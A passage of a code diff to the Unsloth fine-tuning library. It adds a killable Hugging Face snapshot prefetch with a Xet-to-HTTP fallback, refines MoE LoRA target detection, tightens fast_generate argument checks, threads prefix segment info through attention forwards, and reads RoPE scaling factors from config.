+    fast_inference = False,
+    subfolder = None,
+    force_download = False,
+    use_safetensors = None,
+    from_tf = False,
+    from_flax = False,
+    tokenizer_only = False,
+    adapter_only = False,
+    weights_at_root = False,
+    variant = None,
+    gguf_file = None,
+):
+    """Warm the HF cache for a remote repo before the in-process load.
+
+    Xet can hang on a blob with no progress or exception, and a blocked native Xet thread cannot be
+    killed in-process. So pull the snapshot first in a killable subprocess that falls back Xet -> HTTP
+    on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit.
+
+    Returns True iff warmed (caller can clear force_download), else False (skipped: local/offline/
+    local_files_only/fast_inference/old unsloth_zoo, or failed). Only a both-transports-stalled
+    DownloadStallError is raised; other failures are left for from_pretrained to surface.
+    """
+    try:
+        from unsloth_zoo.hf_xet_fallback import (
+            snapshot_download_with_xet_fallback,
+            DownloadStallError,
+        )
+    except Exception:
+        return False  # older unsloth_zoo without the helper: load normally
+
+    if not isinstance(model_name, str) or not model_name:
+        return False
+    # Local path: nothing to download. Expand ~ first (os.path.exists does not).
+    model_path = os.path.expanduser(model_name)
+    if os.path.isdir(model_path) or os.path.exists(model_path):
+        return False
+    # Looks local but not yet on disk (e.g. an uncreated output dir): not a Hub repo id, so leave it
+    # for from_pretrained rather than download it.
+    if (
+        os.path.isabs(model_path)
+        or model_name.startswith(("~", "./", "../", ".\\", "..\\"))
+        or "\\" in model_name
+    ):
+        return False
+    if local_files_only:  # cache-only: never reach out
+        return False
+    if any(
+        os.environ.get(flag, "0").lower() in ("1", "true", "yes", "on")
+        for flag in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE")
+    ):
+        return False
+    if fast_inference:  # vLLM has its own download path
+        return False
+
+    # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore
+    # list (and its auto-branch model_info call) is skipped.
+    ignore_patterns = (
+        None
+        if tokenizer_only or adapter_only or gguf_file
+        else _prefetch_ignore_patterns(
+            model_name,
+            token = token,
+            revision = revision,
+            subfolder = subfolder,
+            use_safetensors = use_safetensors,
+            from_tf = from_tf,
+            from_flax = from_flax,
+            variant = variant,
+            weights_at_root = weights_at_root,
+        )
+    )
+    # Narrow the warm to what the load reads (skip extra checkpoints/precisions); every branch still warms
+    # root tokenizer/config/custom-code so those never fall in-process.
+    allow_patterns = None
+    if gguf_file:
+        # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf; so warm just
+        # that file (plus root aux), under <subfolder>/ if set.
+        _gguf_path = (
+            f"{subfolder.strip('/')}/{gguf_file}"
+            if isinstance(subfolder, str) and subfolder.strip("/")
+            else gguf_file
+        )
+        allow_patterns = [_gguf_path, *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif tokenizer_only:
+        # A distinct tokenizer repo: warm only tokenizer / config / vocab files, never its weights.
+        allow_patterns = list(_ROOT_AUX_PREFETCH_PATTERNS)
+    elif adapter_only:
+        # A PEFT adapter load reads only adapter_config.json + adapter_model.* (plus root aux), not any
+        # merged weights the repo may also publish.
+        allow_patterns = [*_ADAPTER_PREFETCH_PATTERNS, *_ROOT_AUX_PREFETCH_PATTERNS]
+        # PeftModel reads one format (safetensors when present): explicit use_safetensors wins, else
+        # prefer safetensors when shipped (best-effort; any failure keeps both).
+        if use_safetensors is False:
+            ignore_patterns = [
+                "adapter_model*.safetensors",
+                "adapter_model*.safetensors.index.json",
+            ]
+        elif use_safetensors is True or _adapter_repo_has_safetensors(
+            model_name, token = token, revision = revision
+        ):
+            ignore_patterns = ["adapter_model*.bin", "adapter_model*.bin.index.json"]
+    elif isinstance(subfolder, str) and subfolder.strip("/"):
+        # subfolder=X: load resolves every weight under X/, so warm that subfolder (plus root aux).
+        allow_patterns = [f"{subfolder.strip('/')}/*", *_ROOT_AUX_PREFETCH_PATTERNS]
+    elif weights_at_root:
+        # A bare load reads only root weights: drop subdir weights (fp16/, checkpoint dirs) while keeping
+        # subdir configs. Diffusion leaves weights_at_root False.
+        ignore_patterns = [*(ignore_patterns or []), *_SUBDIR_WEIGHT_IGNORE_PATTERNS]
+    try:
+        snapshot_download_with_xet_fallback(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            allow_patterns = allow_patterns,
+            ignore_patterns = ignore_patterns,
+            force_download = force_download,
+            variant = variant,
+        )
+        return True
+    except DownloadStallError:
+        # Both transports stalled: surface a clear network error, not a silent in-process hang.
+        raise
+    except Exception as exception:
+        logger.warning_once(
+            f"Unsloth: Could not pre-download {model_name} "
+            f"({type(exception).__name__}: {exception}); continuing with the normal load."
+        )
+        return False
+
+
 # Ignore logging messages
 class HideLoggingMessage(logging.Filter):
     __slots__ = ("text",)
@@ -2369,6 +2838,7 @@ def patch_llama_rope_scaling(
                 dim = self.head_dim,
                 max_position_embeddings=self.max_position_embeddings,
                 base=self.rope_theta,
+                config=self.config,
             )
         elif scaling_type == "longrope":
             self.rotary_emb = {longrope_rope_function}(
@@ -3507,8 +3977,25 @@ def _moe_target_set_from_string(target_modules: str) -> set[str]:
         return {target_modules}
 
     is_regex = re.search(r"[*+?()[\]{}|\\^$]", target_modules) is not None
-    targets_mlp = "mlp" in target_modules or "ffn" in target_modules
-    if is_regex and "proj" in target_modules and targets_mlp:
+    # Key detection on the mlp/ffn/experts path segment (absent from an
+    # attention-only regex), never on q/k/v/o leaves alone.
+    targets_mlp_path = any(
+        tag in target_modules for tag in ("mlp", "ffn", "feed_forward", "experts")
+    )
+    if not is_regex or not targets_mlp_path:
+        return set()
+    # Explicit expert leaves scope the target set to exactly those leaves.
+    named = {name for name in _MOE_BROAD_MLP_TARGETS if name in target_modules}
+    if named:
+        return named
+    # A generic projection under an mlp path (e.g. ".*mlp.*proj"): any proj
+    # occurrence that is not an attention leaf name.
+    if re.search(r"(?<![qkvo]_)(?<!out_)(?<!in_)proj", target_modules):
+        return set(_MOE_BROAD_MLP_TARGETS)
+    # The auto regex on fused-expert models lists only attention Linears as
+    # leaves; its mlp tag block is the remaining MLP-intent signal. A regex
+    # like "(mlp|self_attn).(q_proj|o_proj)" has neither and stays attention-only.
+    if "mlp|feed_forward|ffn|dense" in target_modules:
         return set(_MOE_BROAD_MLP_TARGETS)
 
     return set()
@@ -3577,13 +4064,17 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
         alternate_name = "experts.down_proj",
     )
 
-    # gate_up_proj combines both gate_proj and up_proj in MoE
-    # Also match "gate_up_proj" directly since users may specify the fused name
+    # gate_up_proj combines gate_proj and up_proj; also match the fused name directly.
+    # Only target a fused expert Parameter that exists: per-expert Linear layouts
+    # (e.g. gpt-oss bnb-4bit) have no fused Parameter and are handled by
+    # get_moe_target_modules, so skip them rather than pass PEFT a dead path.
     if "gate_proj" in target_set or "up_proj" in target_set or "gate_up_proj" in target_set:
-        moe_params.append(gate_up_name)
+        if _moe_parameter_exists(model, gate_up_name):
+            moe_params.append(gate_up_name)
 
     if "down_proj" in target_set:
-        moe_params.append(down_name)
+        if _moe_parameter_exists(model, down_name):
+            moe_params.append(down_name)
 
     if moe_params:
         print(
@@ -3594,6 +4085,136 @@ def get_moe_target_parameters(model, target_modules = None) -> Optional[List[str
     return None
 
 
+def _moe_parameter_exists(model, name: str) -> bool:
+    """True if ``name`` is an exact suffix of some parameter path on the model."""
+    if not hasattr(model, "named_parameters"):
+        return False
+    try:
+        for parameter_name, _ in model.named_parameters():
+            if parameter_name == name or parameter_name.endswith("." + name):
+                return True
+    except Exception:
+        return False
+    return False
+
+
+def get_moe_target_modules(model, target_modules = None) -> List[str]:
+    """Per-expert ``target_modules`` suffixes for MoE models whose experts are stored
+    as per-expert ``nn.Linear`` ModuleLists rather than fused nn.Parameters.
+
+    gpt-oss bnb-4bit is the canonical case (mlp.experts.gate_up_projs.<i> /
+    down_projs.<i> as Linear4bit): no fused Parameter, and the plain
+    gate/up/down_proj leaves do not match, so LoRA skips them. Returning the
+    per-expert suffixes makes PEFT attach via ordinary suffix matching (the
+    module-LoRA counterpart of get_moe_target_parameters). Returns [] for non-MoE,
+    fused-parameter MoEs, an absent per-expert layout, or a request that omits the
+    MLP experts (so an attention-only run does not train experts).
+    """
+    if not is_moe_model(model):
+        return []
+    if target_modules is None:
+        return []
+    if isinstance(target_modules, str):
+        target_set = _moe_target_set_from_string(target_modules)
+    else:
+        target_set = {
+            target
+            for target in target_modules or ()
+            if (isinstance(target, str) and "." not in target and target in _MOE_BROAD_MLP_TARGETS)
+        }
+    if not (target_set & _MOE_BROAD_MLP_TARGETS):
+        return []
+
+    if not hasattr(model, "named_modules"):
+        return []
+
+    # Scope the returned suffixes to the requested projection leaves, matching
+    # get_moe_target_parameters: gate_proj/up_proj/gate_up_proj map to the fused
+    # gate_up ModuleList (e.g. gate_up_projs); down_proj maps to the down ModuleList
+    # (e.g. down_projs). A down-only (or gate/up-only) request must not pull in the
+    # other projection.
+    want_gate_up = bool(target_set & {"gate_proj", "up_proj", "gate_up_proj"})
+    want_down = "down_proj" in target_set
+
+    targets = set()
+    for name, module in model.named_modules():
+        if not isinstance(module, torch.nn.ModuleList) or len(module) == 0:
+            continue
+        parent, _, leaf = name.rpartition(".")
+        # ModuleList directly under an ``experts`` container, holding only Linear
+        # leaves (bnb Linear4bit / Linear8bitLt subclass nn.Linear). After PEFT has
+        # wrapped the experts the child is a LoRA layer whose ``base_layer`` is the
+        # Linear, so accept that too (keeps this idempotent across a re-wrapped model).
+        if not parent.endswith("experts"):
+            continue
+        if not all(
+            isinstance(child, torch.nn.Linear)
+            or isinstance(getattr(child, "base_layer", None), torch.nn.Linear)
+            for child in module
+        ):
+            continue
+        # Honor the requested subset: classify the ModuleList by projection role.
+        leaf_lower = leaf.lower()
+        is_down = "down" in leaf_lower
+        is_gate_up = (not is_down) and ("gate" in leaf_lower or "up" in leaf_lower)
+        if is_down and not want_down:
+            continue
+        if is_gate_up and not want_gate_up:
+            continue
+        # One entry per expert index; ``leaf.<i>`` matches expert i in every layer.
+        for expert_index in range(len(module)):
+            targets.add(f"{leaf}.{expert_index}")
+
+    return sorted(targets)
+
+
+def warn_if_zoo_cannot_merge_moe_experts():
+    """Warn once when the installed unsloth_zoo cannot fold per-expert Linear MoE LoRA
+    into a merged_16bit checkpoint. Older zoo releases keep the fused gate_up_proj /
+    down_proj tensors and drop the per-expert gate_up_projs.<i> / down_projs.<i> deltas,
+    so save_pretrained_merged("merged_16bit") would silently lose the expert training
+    (the LoRA adapter itself still saves and reloads correctly)."""
+    try:
+        from unsloth_zoo import saving_utils as _saving_utils
+
+        # _fold_perexpert_lora_into_fused is the helper that folds these experts.
+        if hasattr(_saving_utils, "_fold_perexpert_lora_into_fused"):
+            return
+    except Exception:
+        return  # cannot introspect zoo -> stay quiet rather than false-alarm
+    logger.warning_once(
+        "Unsloth: the installed unsloth_zoo will not fold these per-expert experts into "
+        "a merged_16bit checkpoint, so save_pretrained_merged('merged_16bit') would drop "
+        "the expert LoRA. Upgrade unsloth_zoo to merge them; saving the LoRA adapter is "
+        "unaffected."
+    )
+
+
+def _select_moe_detection_targets(
+    original_target_modules,
+    scoped_target_modules,
+    finetune_mlp_modules = True,
+    finetune_language_layers = True,
+):
+    """Pick what get_moe_target_parameters keys expert detection on.
+
+    Prefer the caller's ORIGINAL explicit leaf list over the scoped regex so an
+    attention-only request is not pushed into the experts by get_peft_regex's
+    ``mlp|feed_forward|ffn|dense`` component block (which the string fallback
+    cannot tell apart from a fused-expert auto regex).
+
+    But only when the MLP and language families are BOTH still in scope. If the
+    caller scoped MLP or language OFF (``finetune_mlp_modules=False`` or
+    ``finetune_language_layers=False``) the scoped regex already drops the MoE
+    experts, and reusing the original list -- which may still name gate/up/down
+    leaves -- would wrongly re-introduce them. In that case honor the scoped
+    result so the frozen-MLP / vision-only request is respected.
+    """
+    if original_target_modules is not None and finetune_mlp_modules and finetune_language_layers:
+        return original_target_modules
+    return scoped_target_modules
+
+
 def make_fast_generate_wrapper(original_generate):
     """
     Creates a wrapper around model.generate that checks for incorrect
@@ -3602,8 +4223,27 @@ def make_fast_generate_wrapper(original_generate):
 
     @functools.wraps(original_generate)
     def _fast_generate_wrapper(*args, **kwargs):
-        # Check for vLLM-specific arguments
-        if "sampling_params" in kwargs:
+        def _has_sampling_params(a):
+            # SamplingParams passed directly or inside a positional list/tuple
+            return type(a).__name__ == "SamplingParams" or (
+                isinstance(a, (list, tuple))
+                and any(type(i).__name__ == "SamplingParams" for i in a)
+            )
+
+        def _is_vllm_prompt(a):
+            # str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds /
+            # multi_modal_data), or a list/tuple of those
+            head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else a
+            return isinstance(head, str) or (
+                isinstance(head, dict)
+                and any(
+                    k in head
+                    for k in ("prompt", "prompt_token_ids", "prompt_embeds", "multi_modal_data")
+                )
+            )
+
+        # vLLM-only; also catch SamplingParams passed positionally (fast_generate(prompt, params))
+        if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args):
             raise ValueError(
                 "Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). "
                 "Since `fast_inference=False`, use HuggingFace generate arguments instead:\n"
@@ -3616,33 +4256,26 @@ def make_fast_generate_wrapper(original_generate):
                 "Since `fast_inference=False`, LoRA weights are already merged into the model."
             )
 
-        # Check if first positional argument is a string or list of strings
-        if len(args) > 0:
-            first_arg = args[0]
-            is_string_input = False
-
-            if isinstance(first_arg, str):
-                is_string_input = True
-            elif isinstance(first_arg, (list, tuple)) and len(first_arg) > 0:
-                if isinstance(first_arg[0], str):
-                    is_string_input = True
-
-            if is_string_input:
-                raise ValueError(
-                    "Unsloth: Passing text strings to `fast_generate` is only supported "
-                    "when `fast_inference=True` (vLLM). Since `fast_inference=False`, you must "
-                    "tokenize the input first:\n\n"
-                    "  messages = tokenizer.apply_chat_template(\n"
-                    '      [{"role": "user", "content": "Your prompt here"}],\n'
-                    "      tokenize=True, add_generation_prompt=True,\n"
-                    '      return_tensors="pt", return_dict=True\n'
-                    "  )\n"
-                    "  output = model.fast_generate(\n"
-                    "      **messages.to('cuda'),\n"
-                    "      max_new_tokens=64,\n"
-                    "      temperature=1.0,\n"
-                    "  )"
-                )
+        # A vLLM-style prompt (string, {"prompt":..., "multi_modal_data":...} dict, or a list/tuple
+        # of either) only works under vLLM; tokenize first when fast_inference=False. A positional
+        # arg may be HF token ids, so check it conservatively with _is_vllm_prompt. The `prompts` /
+        # `prompt_token_ids` / `prompt_embeds` keywords are vLLM-only names that HuggingFace generate
+        # does not accept, so any of them being present is a vLLM-style call (even a bare token list,
+        # or an explicit None from a defaulted kwargs dict), hence membership rather than a value check.
+        vllm_prompt_kwarg = any(
+            k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds")
+        )
+        if (len(args) > 0 and _is_vllm_prompt(args[0])) or vllm_prompt_kwarg:
+            raise ValueError(
+                "Unsloth: Passing vLLM-style prompts to `fast_generate` is only supported when "
+                "`fast_inference=True` (vLLM). Since `fast_inference=False`, tokenize first:\n\n"
+                "  inputs = tokenizer.apply_chat_template(\n"
+                '      [{"role": "user", "content": "Your prompt here"}],\n'
+                "      tokenize=True, add_generation_prompt=True,\n"
+                '      return_tensors="pt", return_dict=True,\n'
+                "  )\n"
+                "  output = model.fast_generate(**inputs.to('cuda'), max_new_tokens=64, temperature=1.0)"
+            )
 
         # Call original generate
         return original_generate(*args, **kwargs)
diff --git a/unsloth/models/cohere.py b/unsloth/models/cohere.py
index 0b7f3ab973..cb367d451e 100644
--- a/unsloth/models/cohere.py
+++ b/unsloth/models/cohere.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 
 try:
@@ -151,6 +152,9 @@ def CohereAttention_fast_forward(
             "softmax_scale": getattr(self, "softmax_scale", None),
         },
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -161,6 +165,7 @@ def CohereAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/diffusion.py b/unsloth/models/diffusion.py
index 12596b432e..955bf55987 100644
--- a/unsloth/models/diffusion.py
+++ b/unsloth/models/diffusion.py
@@ -24,7 +24,7 @@ import os
 import torch
 from transformers import AutoConfig, AutoProcessor, AutoTokenizer
 
-from ._utils import is_bfloat16_supported
+from ._utils import is_bfloat16_supported, maybe_prefetch_hf_snapshot
 from .llama import logger
 
 __all__ = ["FastDiffusionModel", "DIFFUSION_MODEL_TYPES", "is_diffusion_model_type"]
@@ -79,7 +79,14 @@ def _resolve_diffusion_model_class(config):
     )
 
 
-def _load_diffusion_config(model_name, token, trust_remote_code, revision, local_files_only):
+def _load_diffusion_config(
+    model_name,
+    token,
+    trust_remote_code,
+    revision,
+    local_files_only,
+    cache_dir = None,
+):
     """Load the config, aliasing the legacy ``diffusion_gemma`` model_type to the ``diffusion_gemma4``
     classes current transformers ships. AutoConfig raises on the legacy type; catch that, rewrite the
     type/arch names in-memory, and rebuild."""
@@ -90,6 +97,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             trust_remote_code = trust_remote_code,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
     except ValueError as e:
         if "diffusion_gemma" not in str(e):
@@ -103,6 +111,7 @@ def _load_diffusion_config(model_name, token, trust_remote_code, revision, local
             token = token,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
         with open(cfg_path, encoding = "utf-8") as f:
             cd = json.load(f)
@@ -152,12 +161,16 @@ class FastDiffusionModel:
                 os.environ.get("HF_HUB_OFFLINE", "0") == "1"
                 or os.environ.get("TRANSFORMERS_OFFLINE", "0") == "1"
             )
+
+        cache_dir = kwargs.get("cache_dir")
+
         config = _load_diffusion_config(
             model_name,
             token,
             trust_remote_code,
             revision,
             local_files_only,
+            cache_dir = cache_dir,
         )
         model_type = getattr(config, "model_type", None)
         if not is_diffusion_model_type(model_type):
@@ -168,6 +181,21 @@ class FastDiffusionModel:
 
         model_cls = _resolve_diffusion_model_class(config)
 
+        # Prefetch the whole repo root so the weight load is a cache hit. No subfolder: the pipeline
+        # loads every component subfolder, so narrowing would leave unet/vae/text_encoder to Xet.
+        maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            fast_inference = False,
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            # Forward variant (e.g. "fp16") so the warm keeps variant weights.
+            variant = kwargs.get("variant"),
+        )
+
         load_kwargs = dict(
             dtype = dtype,
             device_map = device_map,
@@ -176,7 +204,14 @@ class FastDiffusionModel:
             attn_implementation = attn_implementation,
             revision = revision,
             local_files_only = local_files_only,
+            cache_dir = cache_dir,
         )
+        # Match the load's weight format to the warm (None/auto already matches).
+        if kwargs.get("use_safetensors") is not None:
+            load_kwargs["use_safetensors"] = kwargs["use_safetensors"]
+        # Forward variant to the real load so it reads the warmed variant weights.
+        if kwargs.get("variant") is not None:
+            load_kwargs["variant"] = kwargs["variant"]
 
         # Optional bitsandbytes quant. The MoE experts (3D Parameters) are not nn.Linear so bnb skips
         # them; only attention + dense MLP Linears quantize, lm_head/embeddings stay full precision.
@@ -222,6 +257,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
         except Exception:
             tokenizer = AutoTokenizer.from_pretrained(
@@ -230,6 +266,7 @@ class FastDiffusionModel:
                 trust_remote_code = trust_remote_code,
                 revision = revision,
                 local_files_only = local_files_only,
+                cache_dir = cache_dir,
             )
 
         return model, tokenizer
diff --git a/unsloth/models/gemma2.py b/unsloth/models/gemma2.py
index 68b9ebe22f..4a0531db78 100644
--- a/unsloth/models/gemma2.py
+++ b/unsloth/models/gemma2.py
@@ -22,6 +22,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .gemma import (
@@ -168,6 +169,11 @@ def Gemma2Attention_fast_forward(
             },
         )
 
+        # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+        # (KV cache / padding mask) raises. None => byte-identical default. gemma2 is
+        # sliding-window and softcapped: the engage gate caps spans at the window and
+        # excludes softcap models entirely, so PG never engages here.
+        _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
         context = AttentionContext(
             bsz = bsz,
             q_len = q_len,
@@ -179,6 +185,7 @@ def Gemma2Attention_fast_forward(
             attention_mask = attention_mask,
             causal_mask = causal_mask,
             sliding_window = sliding_window,
+            prefix_seg_info = _pg_seg,
         )
 
         A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/granite.py b/unsloth/models/granite.py
index f5b0f57aa6..4dedf642eb 100644
--- a/unsloth/models/granite.py
+++ b/unsloth/models/granite.py
@@ -23,6 +23,7 @@ from ..utils.attention_dispatch import (
     AttentionContext,
     run_attention,
     select_attention_backend,
+    resolve_prefix_seg_info,
     SDPA,
 )
 from .llama import (
@@ -159,6 +160,9 @@ def GraniteAttention_fast_forward(
         },
     )
 
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward; misuse
+    # (KV cache / padding mask) raises. None => byte-identical default.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -169,6 +173,7 @@ def GraniteAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = attention_config, context = context, Q = Q, K = K, V = V)
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 14ee5ee24e..defacadfee 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -28,7 +28,11 @@ from ._utils import (
     is_bfloat16_supported,
     get_quant_type,
 )
-from .loader_utils import _exclude_rope_inv_freq_from_ddp, _get_fp8_mode_and_check_settings
+from .loader_utils import (
+    _exclude_rope_inv_freq_from_ddp,
+    _get_fp8_mode_and_check_settings,
+    _restore_dropped_fp8_scales,
+)
 from ..utils.packing import (
     get_packed_info_from_kwargs,
     mask_packed_sequence_boundaries,
@@ -39,6 +43,7 @@ from ..utils.attention_dispatch import (
     run_attention,
     SDPA,
     select_attention_backend,
+    resolve_prefix_seg_info,
 )
 from torch.nn.functional import scaled_dot_product_attention
 from transformers import __version__ as transformers_version
@@ -738,6 +743,10 @@ def LlamaAttention_fast_forward(
         flash_dense_kwargs = {"causal": True},
         flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
     )
+    # PrefixGrouper seg table rides in **kwargs from the GRPO logprob forward (same route
+    # as packed_seq_lengths); misuse (KV cache / padding mask) raises. None => byte-identical
+    # default. Reuse of this forward also carries the branch to qwen2 & gemma.
+    _pg_seg = resolve_prefix_seg_info(kwargs, past_key_value, attention_mask)
     context = AttentionContext(
         bsz = bsz,
         q_len = q_len,
@@ -748,6 +757,7 @@ def LlamaAttention_fast_forward(
         seq_info = seq_info,
         attention_mask = attention_mask,
         causal_mask = causal_mask,
+        prefix_seg_info = _pg_seg,
     )
 
     A = run_attention(config = config, context = context, Q = Q, K = K, V = V)
@@ -895,8 +905,10 @@ def LlamaModel_fast_forward(
     seq_length_with_past = seq_length
 
     # Fix out of bounds tokenization unless we were given packed metadata
-    allow_overlength = getattr(self, "_unsloth_allow_packed_overlength", False) or (
-        "packed_seq_lengths" in kwargs
+    allow_overlength = (
+        getattr(self, "_unsloth_allow_packed_overlength", False)
+        or ("packed_seq_lengths" in kwargs)
+        or ("prefix_seg_info" in kwargs and kwargs["prefix_seg_info"] is not None)
     )
     if hasattr(self, "max_seq_length") and not allow_overlength:
         if seq_length > self.max_seq_length:
@@ -1643,6 +1655,26 @@ def _rope_scaling_as_dict(rope_scaling):
         return {}
 
 
+def _extended_rope_scaling(config, factor):
+    """RoPE scaling to extend a model past its native window. Keeps native llama3 as-is
+    (linear extension is far worse for long context); everything else gets linear. Returns
+    (scaling_or_None, type): None keeps llama3. The linear dict carries rope_theta so
+    transformers v5 (which stores it under rope_parameters) keeps the real base, not 10000.
+    Only llama3 is preserved because patch_llama_rope_scaling can only rebuild linear/llama3/
+    longrope and its longrope branch needs a top-level original_max_position_embeddings."""
+    existing = _rope_scaling_as_dict(
+        getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+    )
+    existing_type = existing.get("rope_type") or existing.get("type")
+    if existing_type == "llama3":
+        return None, existing_type
+    return {
+        "type": "linear",
+        "factor": factor,
+        "rope_theta": _get_rope_theta(config),
+    }, existing_type
+
+
 def _llama3_inv_freq_from_config(
     config,
     rope_scaling,
@@ -1748,7 +1780,6 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         # Base-class-from-config path (modern transformers): derive inv_freq like
         # transformers so config.rope_scaling is not dropped (#2405). Scaled
         # subclasses are excluded to avoid double-scaling.
-        config_inv_freq = None
         if config is not None:
             # [TODO] Hack to pass in config - need to remove later
             base = _get_rope_theta(config, default = base)
@@ -1761,32 +1792,17 @@ class LlamaRotaryEmbedding(torch.nn.Module):
             device = DEVICE_TYPE_TORCH
             max_position_embeddings = config.max_position_embeddings
 
-            rope_scaling = getattr(config, "rope_scaling", None)
-            if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
-                config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
-                    config,
-                    rope_scaling,
-                )
-
         self.dim = dim
         self.max_position_embeddings = max_position_embeddings
         self.base = base
+        # Kept so the v5 rope repair can rebuild the scaled inv_freq (#2405).
+        self._unsloth_rope_config = config
         # Dynamic RoPE we first set it to a max of 4 * 8192 tokens then we iteratively grow this
         self.current_rope_size = min(4 * 8192, self.max_position_embeddings)
         self.multi_gpu_cos_cached = [None] * DEVICE_COUNT
         self.multi_gpu_sin_cached = [None] * DEVICE_COUNT
 
-        if config_inv_freq is not None:
-            inv_freq = config_inv_freq  # already scaled; skip subclass scaling
-        else:
-            # Normal Llama-3 RoPE
-            inv_freq = 1.0 / (
-                self.base
-                ** (
-                    torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim
-                )
-            )
-            inv_freq = self._apply_inv_freq_scaling(inv_freq)
+        inv_freq = self._unsloth_recompute_inv_freq()
         self.register_buffer("inv_freq", inv_freq, persistent = False)
 
         # Build here to make `torch.jit.trace` work.
@@ -1809,6 +1825,25 @@ class LlamaRotaryEmbedding(torch.nn.Module):
         """Override to apply custom inv_freq scaling (e.g., extended RoPE)."""
         return inv_freq
 
+    def _unsloth_recompute_inv_freq(self):
+        # Config scaling (llama3/yarn) first, else vanilla + subclass scaling.
+        # Shared by __init__ and the v5 rope repair so they cannot diverge.
+        config = getattr(self, "_unsloth_rope_config", None)
+        config_inv_freq = None
+        rope_scaling = getattr(config, "rope_scaling", None) if config is not None else None
+        if rope_scaling is not None and type(self) is LlamaRotaryEmbedding:
+            config_inv_freq, self.attention_scaling = _compute_config_rope_inv_freq(
+                config,
+                rope_scaling,
+            )
+        if config_inv_freq is not None:
+            return config_inv_freq
+        inv_freq = 1.0 / (
+            self.base
+            ** (torch.arange(0, self.dim, 2, dtype = torch.int64, device = "cpu").float() / self.dim)
+        )
+        return self._apply_inv_freq_scaling(inv_freq)
+
     def _apply_time_scaling(self, t):
         """Override to apply custom time scaling (e.g., linear scaling)."""
         return t
@@ -1919,11 +1954,18 @@ class LlamaExtendedRotaryEmbedding(LlamaRotaryEmbedding):
 
     # From https://github.com/meta-llama/llama-models/blob/main/models/llama3_1/api/model.py#L41
     def _apply_inv_freq_scaling(self, freqs: torch.Tensor):
-        # Values obtained from grid search
-        scale_factor = 8
-        low_freq_factor = 1
-        high_freq_factor = 4
-        old_context_len = 8192  # original llama3 length
+        # llama3 factors from config; Llama-3.1 defaults when built without one
+        # (legacy codegen path). Hardcoding 8 is wrong for e.g. Llama-3.2 (32).
+        # v5 renames rope_scaling -> rope_parameters; read either so the factor
+        # survives even if the rope_scaling back-compat shim is dropped.
+        config = getattr(self, "_unsloth_rope_config", None)
+        rope_scaling = _rope_scaling_as_dict(
+            getattr(config, "rope_scaling", None) or getattr(config, "rope_parameters", None) or {}
+        )
+        scale_factor = rope_scaling.get("factor", 8)
+        low_freq_factor = rope_scaling.get("low_freq_factor", 1)
+        high_freq_factor = rope_scaling.get("high_freq_factor", 4)
+        old_context_len = rope_scaling.get("original_max_position_embeddings", 8192)
 
         low_freq_wavelen = old_context_len / low_freq_factor
         high_freq_wavelen = old_context_len / high_freq_factor
@@ -2420,6 +2462,73 @@ class FastLlamaModel:
 
         preferred_attn_impl = resolve_attention_implementation(model_function, model_config)
 
+        # Prefetch the repo (killable child) so the weight load is a cache hit. Runs after the
+        # AutoConfig/model-class check so an unsupported repo fails on its small config fetch. No
+        # revision: the load resolves model_name (maybe a remapped prequant repo) on its default branch.
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Skip the warm only for a real vLLM load; a num_labels classification load still goes
+            # in-process below, so it must be warmed even under fast_inference.
+            fast_inference = fast_inference and num_labels is None,
